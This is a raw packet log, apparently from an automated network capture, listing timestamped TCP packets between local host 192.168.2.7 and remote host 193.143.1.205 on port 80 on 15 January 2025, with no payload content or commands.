Jan 15, 2025 08:41:06.623281956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623325109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.623333931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623368979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623404026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623413086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.626276970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656234026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656291008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656311035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656341076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656373978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656384945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656424999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656457901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656466961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656491041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656528950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656539917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656590939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656629086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656639099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656687975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656716108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656727076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656749964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656790018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656796932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656847954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656881094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656887054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656929970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.656970024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.656977892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657013893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657047033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657053947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657080889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657120943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657130957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657162905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657198906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657222033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657233000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657278061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657283068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657315969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657366037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657373905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657397985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657444000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657449007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657495975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657529116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657535076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657561064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657593966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657601118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657624960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657658100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657665014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657708883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657742023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657747984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657788992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657823086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657826900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657854080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657886982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657895088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.657934904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657969952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.657973051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658001900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658035994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658037901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658067942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658102036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658107996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658133030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658174992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658185005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658233881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658267975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658273935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658299923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658349991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658350945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658387899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658421040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658423901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658452034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658483982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658484936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658515930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658548117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658550024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658580065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658612967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658613920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658646107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658678055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658678055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658710003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658730984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658742905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658775091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658780098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658807993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658840895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658849001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658874035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658905029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658912897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.658940077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658972979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.658979893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.659007072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.659039974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.659044981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.659073114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.659106016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.659112930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.659137964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.659179926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.677772999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.677805901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.677838087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.677860022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.677870035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.677901030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.677926064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.677934885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.677983999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.687691927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.687722921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.687769890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.687951088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688003063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688036919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688047886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.688086987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688121080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688128948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.688152075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688203096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.688205004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688236952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688270092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688275099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.688302994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688337088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688343048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.688369036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688402891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.688415051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.710701942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.710732937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.710769892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.710782051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.710814953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.710825920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.710846901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.710880995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.710887909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.710913897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.710952044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.711653948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711707115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711741924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711750031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.711791992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711832047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.711841106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711889982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711922884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711930990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.711955070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711987019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.711996078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.712018967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.712050915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.712057114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.712083101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.712117910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.712122917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.712150097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.712184906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.712189913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.727682114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.735121012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745165110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745224953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745233059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745294094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745335102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745345116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745378017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745418072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745428085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745461941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745502949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745512962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745590925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745623112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745630980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745675087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745721102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745723963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745759010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745790958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745800972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745845079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745877028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745882034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745925903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.745963097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.745975018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746014118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746052027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746062994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746113062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746145010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746153116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746196985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746229887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746237040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746263027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746301889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746313095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746346951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746392012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746396065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746428967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746465921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746468067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746516943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746555090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746565104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746637106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746670008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746678114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746705055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746737003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746747017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746769905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746810913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746819019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746851921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746884108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746887922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746917009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746948957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.746957064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.746982098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747014046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747020006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747047901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747080088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747086048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747112989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747144938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747152090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747179985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747212887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747219086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747250080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747281075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747287989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747332096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747364998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747371912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747397900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747430086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747435093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747463942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747497082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747503042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747529030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747560978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747565985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747597933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747628927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747634888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747667074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747720957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747733116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747765064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747798920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747803926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747831106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747864962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747869968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.747898102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.747935057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.766479969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766541004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766590118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.766591072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766644001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766675949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766686916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.766711950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766745090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766752005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.766798019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766830921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766836882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.766864061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766895056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766906023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.766928911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766962051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.766968012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.766999006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.767030001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.767035007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.772943020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.776700974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.776731014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.776767969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.776779890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.776813984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.776818991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.776863098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.776901007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.776902914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.776949883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.776992083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.777035952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777069092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777101994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777108908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.777132988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777167082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777173042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.777201891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777235031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777240038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.777267933 CET	80	49699	193.143.1.205	192.168.2.7
